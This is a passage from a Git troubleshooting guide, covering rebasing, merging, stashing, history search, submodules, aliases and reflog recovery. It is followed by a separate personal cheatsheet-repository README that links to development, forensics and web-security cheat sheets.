```sh
(original_branch)$ git checkout -b new_branch
(new_branch)$ git checkout original_branch
(original_branch)$ git reset --hard <sha1 split here>
```
If you had previously pushed the `original_branch` to remote, you will need to do a force push. For more information check [Stack Overflow](https://stackoverflow.com/questions/28983458/how-to-split-a-branch-in-two-with-git/28983843#28983843)
## Rebasing and Merging
<a name="undo-rebase"></a>
### I want to undo rebase/merge
You may have merged or rebased your current branch with a wrong branch, or you can't figure it out or finish the rebase/merge process. Git saves the original HEAD pointer in a variable called ORIG_HEAD before doing dangerous operations, so it is simple to recover your branch at the state before the rebase/merge.
```sh
(my-branch)$ git reset --hard ORIG_HEAD
```
<a name="force-push-rebase"></a>
### I rebased, but I don't want to force push
Unfortunately, you have to force push, if you want those changes to be reflected on the remote branch. This is because you have changed the history. The remote branch won't accept changes unless you force push. This is one of the main reasons many people use a merge workflow, instead of a rebasing workflow - large teams can get into trouble with developers force pushing. Use this with caution. A safer way to use rebase is not to reflect your changes on the remote branch at all, and instead to do the following:
```sh
(main)$ git checkout my-branch
(my-branch)$ git rebase -i main
(my-branch)$ git checkout main
(main)$ git merge --ff-only my-branch
```
For more, see [this SO thread](https://stackoverflow.com/questions/11058312/how-can-i-use-git-rebase-without-requiring-a-forced-push).
<a name="interactive-rebase"></a>
### I need to combine commits
Let's suppose you are working in a branch that is/will become a pull-request against `main`. In the simplest case when all you want to do is to combine *all* commits into a single one and you don't care about commit timestamps, you can reset and recommit. Make sure the main branch is up to date and all your changes committed, then:
```sh
(my-branch)$ git reset --soft main
(my-branch)$ git commit -am "New awesome feature"
```
If you want more control, and also to preserve timestamps, you need to do something called an interactive rebase:
```sh
(my-branch)$ git rebase -i main
```
If you aren't working against another branch you'll have to rebase relative to your `HEAD`. If you want to squash the last 2 commits, for example, you'll have to rebase against `HEAD~2`. For the last 3, `HEAD~3`, etc.
```sh
(main)$ git rebase -i HEAD~2
```
After you run the interactive rebase command, you will see something like this in your text editor:
```vim
pick a9c8a1d Some refactoring
pick 01b2fd8 New awesome feature
pick b729ad5 fixup
pick e3851e8 another fix
# Rebase 8074d12..b729ad5 onto 8074d12
#
# Commands:
# p, pick = use commit
# r, reword = use commit, but edit the commit message
# e, edit = use commit, but stop for amending
# s, squash = use commit, but meld into previous commit
# f, fixup = like "squash", but discard this commit's log message
# x, exec = run command (the rest of the line) using shell
#
# These lines can be re-ordered; they are executed from top to bottom.
#
# If you remove a line here THAT COMMIT WILL BE LOST.
#
# However, if you remove everything, the rebase will be aborted.
#
# Note that empty commits are commented out
```
All the lines beginning with a `#` are comments, they won't affect your rebase.
Then you replace `pick` commands with any in the list above, and you can also remove commits by removing corresponding lines.
For example, if you want to **leave the oldest (first) commit alone and combine all the following commits with the second oldest**, you should edit the letter next to each commit except the first and the second to say `f`:
```vim
pick a9c8a1d Some refactoring
pick 01b2fd8 New awesome feature
f b729ad5 fixup
f e3851e8 another fix
```
If you want to combine these commits **and rename the commit**, you should additionally add an `r` next to the second commit or simply use `s` instead of `f`:
```vim
pick a9c8a1d Some refactoring
pick 01b2fd8 New awesome feature
s b729ad5 fixup
s e3851e8 another fix
```
You can then rename the commit in the next text prompt that pops up.
```vim
Newer, awesomer features
# Please enter the commit message for your changes. Lines starting
# with '#' will be ignored, and an empty message aborts the commit.
# rebase in progress; onto 8074d12
# You are currently editing a commit while rebasing branch 'main' on '8074d12'.
#
# Changes to be committed:
# modified: README.md
#
```
If everything is successful, you should see something like this:
```sh
(main)$ Successfully rebased and updated refs/heads/main.
```
#### Safe merging strategy
`--no-commit` performs the merge but pretends the merge failed and does not autocommit, giving the user a chance to inspect and further tweak the merge result before committing. `no-ff` maintains evidence that a feature branch once existed, keeping project history consistent.
```sh
(main)$ git merge --no-ff --no-commit my-branch
```
#### I need to merge a branch into a single commit
```sh
(main)$ git merge --squash my-branch
```
<a name="rebase-unpushed-commits"></a>
#### I want to combine only unpushed commits
Sometimes you have several work in progress commits that you want to combine before you push them upstream. You don't want to accidentally combine any commits that have already been pushed upstream because someone else may have already made commits that reference them.
```sh
(main)$ git rebase -i @{u}
```
This will do an interactive rebase that lists only the commits that you haven't already pushed, so it will be safe to reorder/fix/squash anything in the list.
#### I need to abort the merge
Sometimes the merge can produce problems in certain files, in those cases we can use the option `abort` to abort the current conflict resolution process, and try to reconstruct the pre-merge state.
```sh
(my-branch)$ git merge --abort
```
This command is available since Git version >= 1.7.4
### I need to update the parent commit of my branch
Say I have a main branch, a feature-1 branch branched from main, and a feature-2 branch branched off of feature-1. If I make a commit to feature-1, then the parent commit of feature-2 is no longer accurate (it should be the head of feature-1, since we branched off of it). We can fix this with `git rebase --onto`.
```sh
(feature-2)$ git rebase --onto feature-1 <the first commit in your feature-2 branch that you don't want to bring along> feature-2
```
This helps in sticky scenarios where you might have a feature built on another feature that hasn't been merged yet, and a bugfix on the feature-1 branch needs to be reflected in your feature-2 branch.
### Check if all commits on a branch are merged
To check if all commits on a branch are merged into another branch, you should diff between the heads (or any commits) of those branches:
```sh
(main)$ git log --graph --left-right --cherry-pick --oneline HEAD...feature/120-on-scroll
```
This will tell you if any commits are in one but not the other, and will give you a list of any nonshared between the branches. Another option is to do this:
```sh
(main)$ git log main ^feature/120-on-scroll --no-merges
```
### Possible issues with interactive rebases
<a name="noop"></a>
#### The rebase editing screen says 'noop'
If you're seeing this:
```
noop
```
That means you are trying to rebase against a branch that is at an identical commit, or is *ahead* of your current branch. You can try:
* making sure your main branch is where it should be
* rebase against `HEAD~2` or earlier instead
<a name="merge-conflict"></a>
#### There were conflicts
If you are unable to successfully complete the rebase, you may have to resolve conflicts.
First run `git status` to see which files have conflicts in them:
```sh
(my-branch)$ git status
On branch my-branch
Changes not staged for commit:
(use "git add <file>..." to update what will be committed)
(use "git checkout -- <file>..." to discard changes in working directory)
both modified: README.md
```
In this example, `README.md` has conflicts. Open that file and look for the following:
```vim
<<<<<<< HEAD
some code
=========
some code
>>>>>>> new-commit
```
You will need to resolve the differences between the code that was added in your new commit (in the example, everything from the middle line to `new-commit`) and your `HEAD`.
If you want to keep one branch's version of the code, you can use `--ours` or `--theirs`:
```sh
(main*)$ git checkout --ours README.md
```
- When *merging*, use `--ours` to keep changes from the local branch, or `--theirs` to keep changes from the other branch.
- When *rebasing*, use `--theirs` to keep changes from the local branch, or `--ours` to keep changes from the other branch. For an explanation of this swap, see [this note in the Git documentation](https://git-scm.com/docs/git-rebase#Documentation/git-rebase.txt---merge).
If the merges are more complicated, you can use a visual diff editor:
```sh
(main*)$ git mergetool -t opendiff
```
After you have resolved all conflicts and tested your code, `git add` the files you have changed, and then continue the rebase with `git rebase --continue`
```sh
(my-branch)$ git add README.md
(my-branch)$ git rebase --continue
```
If after resolving all the conflicts you end up with an identical tree to what it was before the commit, you need to `git rebase --skip` instead.
If at any time you want to stop the entire rebase and go back to the original state of your branch, you can do so:
```sh
(my-branch)$ git rebase --abort
```
<a name="stashing"></a>
## Stash
### Stash all edits
To stash all the edits in your working directory
```sh
$ git stash
```
If you also want to stash untracked files, use `-u` option.
```sh
$ git stash -u
```
### Stash specific files
To stash only one file from your working directory
```sh
$ git stash push working-directory-path/filename.ext
```
To stash multiple files from your working directory
```sh
$ git stash push working-directory-path/filename1.ext working-directory-path/filename2.ext
```
<a name="stash-msg"></a>
### Stash with message
```sh
$ git stash save <message>
```
or
```sh
$ git stash push -m <message>
```
<a name="stash-apply-specific"></a>
### Apply a specific stash from list
First check your list of stashes with message using
```sh
$ git stash list
```
Then apply a specific stash from the list using
```sh
$ git stash apply "stash@{n}"
```
Here, 'n' indicates the position of the stash in the stack. The topmost stash will be position 0.
Furthermore, using a time-based stash reference is also possible.
```sh
$ git stash apply "stash@{2.hours.ago}"
```
<a name="stage-and-keep-unstaged"></a>
### Stash while keeping unstaged edits
You can manually create a `stash commit`, and then use `git stash store`.
```sh
$ git stash create
$ git stash store -m <message> CREATED_SHA1
```
## Finding
### I want to find a string in any commit
To find a certain string which was introduced in any commit, you can use the following structure:
```sh
$ git log -S "string to find"
```
Commons parameters:
* `--source` means to show the ref name given on the command line by which each commit was reached.
* `--all` means to start from every branch.
* `--reverse` prints in reverse order, it means that will show the first commit that made the change.
<a name="find-by-committer"></a>
### I want to find by author/committer
To find all commits by author/committer you can use:
```sh
$ git log --author=<name or email>
$ git log --committer=<name or email>
```
Keep in mind that author and committer are not the same. The `--author` is the person who originally wrote the code; on the other hand, the `--committer`, is the person who committed the code on behalf of the original author.
### I want to list commits containing specific files
To find all commits containing a specific file you can use:
```sh
$ git log -- <path to file>
```
You would usually specify an exact path, but you may also use wild cards in the path and file name:
```sh
$ git log -- **/*.js
```
While using wildcards, it's useful to inform `--name-status` to see the list of committed files:
```sh
$ git log --name-status -- **/*.js
```
<a name="view-commit-history-for-specific-function"></a>
### I want to view the commit history for a specific function
To trace the evolution of a single function you can use:
```sh
$ git log -L :FunctionName:FilePath
```
Note that you can combine this with further `git log` options, like [revision ranges](https://git-scm.com/docs/gitrevisions) and [commit limits](https://git-scm.com/docs/git-log/#_commit_limiting).
### Find a tag where a commit is referenced
To find all tags containing a specific commit:
```sh
$ git tag --contains <commitid>
```
## Submodules
<a name="clone-submodules"></a>
### Clone all submodules
```sh
$ git clone --recursive git://github.com/foo/bar.git
```
If already cloned:
```sh
$ git submodule update --init --recursive
```
<a name="delete-submodule"></a>
### Remove a submodule
Creating a submodule is pretty straight-forward, but deleting them less so. The commands you need are:
```sh
$ git submodule deinit submodulename
$ git rm submodulename
$ git rm --cached submodulename
$ rm -rf .git/modules/submodulename
```
## Miscellaneous Objects
### Copy a folder or file from one branch to another
```sh
$ git checkout <branch-you-want-the-directory-from> -- <folder-name or file-name>
```
### Restore a deleted file
First find the commit when the file last existed:
```sh
$ git rev-list -n 1 HEAD -- filename
```
Then checkout that file:
```
git checkout deletingcommitid^ -- filename
```
### Delete tag
```sh
$ git tag -d <tag_name>
$ git push <remote> :refs/tags/<tag_name>
```
<a name="recover-tag"></a>
### Recover a deleted tag
If you want to recover a tag that was already deleted, you can do so by following these steps: First, you need to find the unreachable tag:
```sh
$ git fsck --unreachable | grep tag
```
Make a note of the tag's hash. Then, restore the deleted tag with following, making use of [`git update-ref`](https://git-scm.com/docs/git-update-ref):
```sh
$ git update-ref refs/tags/<tag_name> <hash>
```
Your tag should now have been restored.
### Deleted Patch
If someone has sent you a pull request on GitHub, but then deleted their original fork, you will be unable to clone their repository or to use `git am` as the [.diff, .patch](https://github.com/blog/967-github-secrets) URLs become unavailable. But you can checkout the PR itself using [GitHub's special refs](https://gist.github.com/piscisaureus/3342247). To fetch the content of PR#1 into a new branch called pr_1:
```sh
$ git fetch origin refs/pull/1/head:pr_1
From github.com:foo/bar
* [new ref] refs/pull/1/head -> pr_1
```
### Exporting a repository as a Zip file
```sh
$ git archive --format zip --output /full/path/to/zipfile.zip main
```
### Push a branch and a tag that have the same name
If there is a tag on a remote repository that has the same name as a branch you will get the following error when trying to push that branch with a standard `$ git push <remote> <branch>` command.
```sh
$ git push origin <branch>
error: dst refspec same matches more than one.
error: failed to push some refs to '<git server>'
```
Fix this by specifying you want to push the head reference.
```sh
$ git push origin refs/heads/<branch-name>
```
If you want to push a tag to a remote repository that has the same name as a branch, you can use a similar command.
```sh
$ git push origin refs/tags/<tag-name>
```
## Tracking Files
<a name="change-file-name-capitalization-without-changing-contents"></a>
### I want to change a file name's capitalization, without changing the contents of the file
```sh
(main)$ git mv --force myfile MyFile
```
### I want to overwrite local files when doing a git pull
```sh
(main)$ git fetch --all
(main)$ git reset --hard origin/main
```
<a name="remove-from-git"></a>
### I want to remove a file from Git but keep the file
```sh
(main)$ git rm --cached log.txt
```
### I want to revert a file to a specific revision
Assuming the hash of the commit you want is c5f567:
```sh
(main)$ git checkout c5f567 -- file1/to/restore file2/to/restore
```
If you want to revert to changes made just 1 commit before c5f567, pass the commit hash as c5f567~1:
```sh
(main)$ git checkout c5f567~1 -- file1/to/restore file2/to/restore
```
### I want to list changes of a specific file between commits or branches
Assuming you want to compare last commit with file from commit c5f567:
```sh
$ git diff HEAD:path_to_file/file c5f567:path_to_file/file
# or
$ git diff HEAD c5f567 -- path_to_file/file
```
If you are going to compare changes between the tips of the `main` and the `staging` branches:
```sh
$ git diff main:path_to_file/file staging:path_to_file/file
# or
$ git diff main staging -- path_to_file/file
```
### I want Git to ignore changes to a specific file
This works great for config templates or other files that require locally adding credentials that shouldn't be committed.
```sh
$ git update-index --assume-unchanged file-to-ignore
```
Note that this does *not* remove the file from source control - it is only ignored locally. To undo this and tell Git to notice changes again, this clears the ignore flag:
```sh
$ git update-index --no-assume-unchanged file-to-stop-ignoring
```
## Debugging with Git
The [git-bisect](https://git-scm.com/docs/git-bisect) command uses a binary search to find which commit in your Git history introduced a bug.
Suppose you're on the `main` branch, and you want to find the commit that broke some feature. You start bisect:
```sh
$ git bisect start
```
Then you should specify which commit is bad, and which one is known to be good. Assuming that your *current* version is bad, and `v1.1.1` is good:
```sh
$ git bisect bad
$ git bisect good v1.1.1
```
Now `git-bisect` selects a commit in the middle of the range that you specified, checks it out, and asks you whether it's good or bad. You should see something like:
```sh
$ Bisecting: 5 revision left to test after this (roughly 5 step)
$ [c44abbbee29cb93d8499283101fe7c8d9d97f0fe] Commit message
$ (c44abbb)$
```
You will now check if this commit is good or bad. If it's good:
```sh
$ (c44abbb)$ git bisect good
```
and `git-bisect` will select another commit from the range for you. This process (selecting `good` or `bad`) will repeat until there are no more revisions left to inspect, and the command will finally print a description of the **first** bad commit.
## Configuration
### I want to add aliases for some Git commands
On OS X and Linux, your git configuration file is stored in ```~/.gitconfig```. I've added some example aliases I use as shortcuts (and some of my common typos) in the ```[alias]``` section as shown below:
```vim
[alias]
a = add
amend = commit --amend
c = commit
ca = commit --amend
ci = commit -a
co = checkout
d = diff
dc = diff --changed
ds = diff --staged
extend = commit --amend -C HEAD
f = fetch
loll = log --graph --decorate --pretty=oneline --abbrev-commit
m = merge
one = log --pretty=oneline
outstanding = rebase -i @{u}
reword = commit --amend --only
s = status
unpushed = log @{u}
wc = whatchanged
wip = rebase -i @{u}
zap = fetch -p
day = log --reverse --no-merges --branches=* --date=local --since=midnight --author=\"$(git config --get user.name)\"
delete-merged-branches = "!f() { git checkout --quiet main && git branch --merged | grep --invert-match '\\*' | xargs -n 1 git branch --delete; git checkout --quiet @{-1}; }; f"
```
### I want to add an empty directory to my repository
You can’t! Git doesn’t support this, but there’s a hack. You can create a .gitignore file in the directory with the following contents:
```
# Ignore everything in this directory
*
# Except this file
!.gitignore
```
Another common convention is to make an empty file in the folder, titled .gitkeep.
```sh
$ mkdir mydir
$ touch mydir/.gitkeep
```
You can also name the file as just .keep , in which case the second line above would be ```touch mydir/.keep```
### I want to cache a username and password for a repository
You might have a repository that requires authentication. In which case you can cache a username and password so you don't have to enter it on every push and pull. Credential helper can do this for you.
```sh
$ git config --global credential.helper cache
# Set git to use the credential memory cache
```
```sh
$ git config --global credential.helper 'cache --timeout=3600'
# Set the cache to timeout after 1 hour (setting is in seconds)
```
To find a credential helper:
```sh
$ git help -a | grep credential
# Shows you possible credential helpers
```
For OS specific credential caching:
```sh
$ git config --global credential.helper osxkeychain
# For OSX
```
```sh
$ git config --global credential.helper manager
# Git for Windows 2.7.3+
```
```sh
$ git config --global credential.helper gnome-keyring
# Ubuntu and other GNOME-based distros
```
More credential helpers can likely be found for different distributions and operating systems.
### I want to make Git ignore permissions and filemode changes
```sh
$ git config core.fileMode false
```
If you want to make this the default behaviour for logged-in users, then use:
```sh
$ git config --global core.fileMode false
```
### I want to set a global user
To configure user information used across all local repositories, and to set a name that is identifiable for credit when review version history:
```sh
$ git config --global user.name “[firstname lastname]”
```
To set an email address that will be associated with each history marker:
```sh
git config --global user.email “[valid-email]”
```
## I've no idea what I did wrong
So, you're screwed - you `reset` something, or you merged the wrong branch, or you force pushed and now you can't find your commits. You know, at some point, you were doing alright, and you want to go back to some state you were at.
This is what `git reflog` is for. `reflog` keeps track of any changes to the tip of a branch, even if that tip isn't referenced by a branch or a tag. Basically, every time HEAD changes, a new entry is added to the reflog. This only works for local repositories, sadly, and it only tracks movements (not changes to a file that weren't recorded anywhere, for instance).
```sh
(main)$ git reflog
0a2e358 HEAD@{0}: reset: moving to HEAD~2
0254ea7 HEAD@{1}: checkout: moving from 2.2 to main
c10f740 HEAD@{2}: checkout: moving from main to 2.2
```
The reflog above shows a checkout from main to the 2.2 branch and back. From there, there's a hard reset to an older commit. The latest activity is represented at the top labeled `HEAD@{0}`.
If it turns out that you accidentally moved back, the reflog will contain the commit main pointed to (0254ea7) before you accidentally dropped 2 commits.
```sh
$ git reset --hard 0254ea7
```
Using `git reset` it is then possible to change main back to the commit it was before. This provides a safety net in case history was accidentally changed.
(copied and edited from [Source](https://www.atlassian.com/git/tutorials/rewriting-history/git-reflog)).
<a name="git-shortcuts"></a>
## Git Shortcuts
### Git Bash
Once you're comfortable with what the above commands are doing, you might want to create some shortcuts for Git Bash. This allows you to work a lot faster by doing complex tasks in really short commands.
```sh
alias sq=squash
function squash() {
git rebase -i HEAD~$1
}
```
Copy those commands to your .bashrc or .bash_profile.
### PowerShell on Windows
If you are using PowerShell on Windows, you can also set up aliases and functions. Add these commands to your profile, whose path is defined in the `$profile` variable. Learn more at the [About Profiles](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles) page on the Microsoft documentation site.
```powershell
Set-Alias sq Squash-Commits
function Squash-Commits {
git rebase -i HEAD~$1
}
```
# Other Resources
## Books
* [Learn Enough Git to Be Dangerous](https://www.learnenough.com/git-tutorial) - A book by Michael Hartl covering Git from basics
* [Pro Git](https://git-scm.com/book/en/v2) - Scott Chacon and Ben Straub's excellent book about Git
* [Git Internals](https://github.com/pluralsight/git-internals-pdf) - Scott Chacon's other excellent book about Git
* [Nasa handbook](https://www.nasa.gov/sites/default/files/atoms/files/nasa_systems_engineering_handbook.pdf)
## Tutorials
* [19 Git Tips For Everyday Use](https://www.alexkras.com/19-git-tips-for-everyday-use) - A list of useful Git one liners
* [Atlassian's Git tutorial](https://www.atlassian.com/git/tutorials) Get Git right with tutorials from beginner to advanced.
* [Learn Git branching](https://learngitbranching.js.org/) An interactive web based branching/merging/rebasing tutorial
* [Getting solid at Git rebase vs. merge](https://medium.com/@porteneuve/getting-solid-at-git-rebase-vs-merge-4fa1a48c53aa)
* [Git Commands and Best Practices Cheat Sheet](https://zeroturnaround.com/rebellabs/git-commands-and-best-practices-cheat-sheet) - A Git cheat sheet in a blog post with more explanations
* [Git from the inside out](https://codewords.recurse.com/issues/two/git-from-the-inside-out) - A tutorial that dives into Git's internals
* [git-workflow](https://github.com/asmeurer/git-workflow) - [Aaron Meurer](https://github.com/asmeurer)'s howto on using Git to contribute to open source repositories
* [GitHub as a workflow](https://hugogiraudel.com/2015/08/13/github-as-a-workflow/) - An interesting take on using GitHub as a workflow, particularly with empty PRs
* [Githug](https://github.com/Gazler/githug) - A game to learn more common Git workflows
* [learnGitBranching](https://github.com/pcottle/learnGitBranching) - An interactive git visualization to challenge and educate!
## Scripts and Tools
* [firstaidgit.io](http://firstaidgit.io/) A searchable selection of the most frequently asked Git questions
* [git-extra-commands](https://github.com/unixorn/git-extra-commands) - a collection of useful extra Git scripts
* [git-extras](https://github.com/tj/git-extras) - GIT utilities -- repo summary, repl, changelog population, author commit percentages and more
* [git-fire](https://github.com/qw3rtman/git-fire) - git-fire is a Git plugin that helps in the event of an emergency by adding all current files, committing, and pushing to a new branch (to prevent merge conflicts).
* [git-tips](https://github.com/git-tips/tips) - Small Git tips
* [git-town](https://github.com/Originate/git-town) - Generic, high-level Git workflow support! http://www.git-town.com
## GUI Clients
* [GitKraken](https://www.gitkraken.com/) - The downright luxurious Git client,for Windows, Mac & Linux
* [git-cola](https://git-cola.github.io/) - another Git client for Windows and OS X
* [GitUp](https://github.com/git-up/GitUp) - A newish GUI that has some very opinionated ways of dealing with Git's complications
* [gitx-dev](https://rowanj.github.io/gitx/) - another graphical Git client for OS X
* [Sourcetree](https://www.sourcetreeapp.com/) - Simplicity meets power in a beautiful and free Git GUI. For Windows and Mac.
* [Tower](https://www.git-tower.com/) - graphical Git client for OS X (paid)
* [tig](https://jonas.github.io/tig/) - terminal text-mode interface for Git
* [Magit](https://magit.vc/) - Interface to Git implemented as an Emacs package.
* [GitExtensions](https://github.com/gitextensions/gitextensions) - a shell extension, a Visual Studio 2010-2015 plugin and a standalone Git repository tool.
* [Fork](https://git-fork.com/) - a fast and friendly Git client for Mac (beta)
* [gmaster](https://gmaster.io/) - a Git client for Windows that has 3-way merge, analyze refactors, semantic diff and merge (beta)
* [gitk](https://git-scm.com/docs/gitk) - a Git client for linux to allow simple view of repo state.
* [SublimeMerge](https://www.sublimemerge.com/) - Blazing fast, extensible client that provides 3-way merges, powerful search and syntax highlighting, in active development.
|
# cheatsheets
Personal repository with handy cheatsheets.
## Development
<table>
<tr>
<td>
<a href="sheets/Wordpress-Cheat-Sheet.pdf" target="_blank">PDF</a>
</td>
<td>
<a href="http://cdn.tutsplus.com/wp/uploads/legacy/resources/Wordpress-Cheat-Sheet.pdf" target="_blank">Link</a>
</td>
<td>
WordPress Cheat Sheet
</td>
</tr>
<tr>
<td>
<a href="sheets/php-regex-cheat-sheet.pdf" target="_blank">PDF</a>
</td>
<td>
<a href="https://courses.cs.washington.edu/courses/cse190m/12sp/cheat-sheets/php-regex-cheat-sheet.pdf" target="_blank">Link</a>
</td>
<td>
PHP PCRE (regex) Cheat Sheet
</td>
</tr>
</table>
## Linux
<table>
<tr>
<td>
<a href="sheets/linux system call quick reference.pdf" target="_blank">PDF</a>
</td>
<td>
<a href="http://www.digilife.be/quickreferences/qrc/linux%20system%20call%20quick%20reference.pdf" target="_blank">Link</a>
</td>
<td>
LINUX System Call Quick Reference
</td>
</tr>
</table>
## Python
<table>
<tr>
<td>
<a href="sheets/ScapyCheatSheet_v0.2.pdf" target="_blank">PDF</a>
</td>
<td>
<a href="https://blogs.sans.org/pen-testing/files/2016/04/ScapyCheatSheet_v0.2.pdf" target="_blank">Link</a>
</td>
<td>
Scapy Cheat Sheet by SANS
</td>
</tr>
</table>
## Reverse Engineering
<table>
<tr>
<td>
<a href="sheets/gdb-refcard.pdf" target="_blank">PDF</a>
</td>
<td>
<a href="http://users.ece.utexas.edu/~adnan/gdb-refcard.pdf" target="_blank">Link</a>
</td>
<td>
GDB v4 Quick Reference
</td>
</tr>
<tr>
<td>
<a href="sheets/cheat sheet reverse v5.png" target="_blank">PDF</a>
</td>
<td>
<a href="http://r00ted.com/cheat%20sheet%20reverse%20v5.png" target="_blank">Link</a>
</td>
<td>
Reverse engineering for malware analysis
</td>
</tr>
<tr>
<td>
<a href="sheets/rekall-memory-forensics-cheatsheet.pdf" target="_blank">PDF</a>
</td>
<td>
<a href="https://digital-forensics.sans.org/media/rekall-memory-forensics-cheatsheet.pdf" target="_blank">Link</a>
</td>
<td>
Rekall Cheat Sheet
</td>
</tr>
</table>
## Digital Forensics
<table>
<tr>
<td>
<a href="sheets/Memory Forensics Cheat Sheet v1.2.pdf" target="_blank">PDF</a>
</td>
<td>
<a href="http://forensicmethods.com/memory-forensics-cheat-sheet" target="_blank">Link</a>
</td>
<td>
Memory Forensics
</td>
</tr>
</table>
## PowerShell
<table>
<tr>
<td>
<a href="https://github.com/HarmJ0y/CheatSheets" target="_blank">Repo</a>
</td>
<td>
Some cheat sheets about (offensive) PowerShell projects
</td>
</tr>
<tr>
<td>
<a href="https://blogs.sans.org/pen-testing/files/2016/05/PowerShellCheatSheet_v41.pdf" target="_blank">Link</a>
</td>
<td>
SANS PowerShell Cheat Sheet
</td>
</tr>
</table>
## Web Application Testing
<table>
<tr>
<td>
<a href="https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series" target="_blank">Link</a>
</td>
<td>
OWASP Cheat Sheet Series
</td>
</tr>
<tr>
<td>
<a href="https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/" target="_blank">Link</a>
</td>
<td>
SQL Injection (Netsparker)
</td>
</tr>
<tr>
<td>
<a href="http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injection-cheat-sheet/" target="_blank">Link</a>
</td>
<td>
SQL Injection (Wiki)
</td>
</tr>
<tr>
<td>
<a href="http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet" target="_blank">Link</a>
</td>
<td>
SQL Injection (pentestMonkey)
</td>
</tr>
<tr>
<td>
<a href="http://brutelogic.com.br/blog/cheat-sheet/" target="_blank">Link</a>
</td>
<td>
XSS Cheat Sheet
</td>
</tr>
<tr>
<td>
<a href="https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/view" target="_blank">Link</a>
</td>
<td>
SSRF Bible Cheat Sheet
</td>
</tr>
<tr>
<td>
<a href="https://www.owasp.org/index.php/Web_Application_Security_Testing_Cheat_Sheet" target="_blank">Link</a>
</td>
<td>
SANS Web Application Testing Sheet
</td>
</tr>
</table>
## Penetration Testing
<table>
<tr>
<td>
<a href="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/" target="_blank">Link</a>
</td>
<td>
Penetration Testing Tools Cheat Sheet
</td>
</tr>
<tr>
<td>
<a href="https://github.com/jshaw87/Cheatsheets" target="_blank">Link</a>
</td>
<td>
Repo with Penetration Testing/Security Cheat Sheets
</td>
</tr>
</table>
|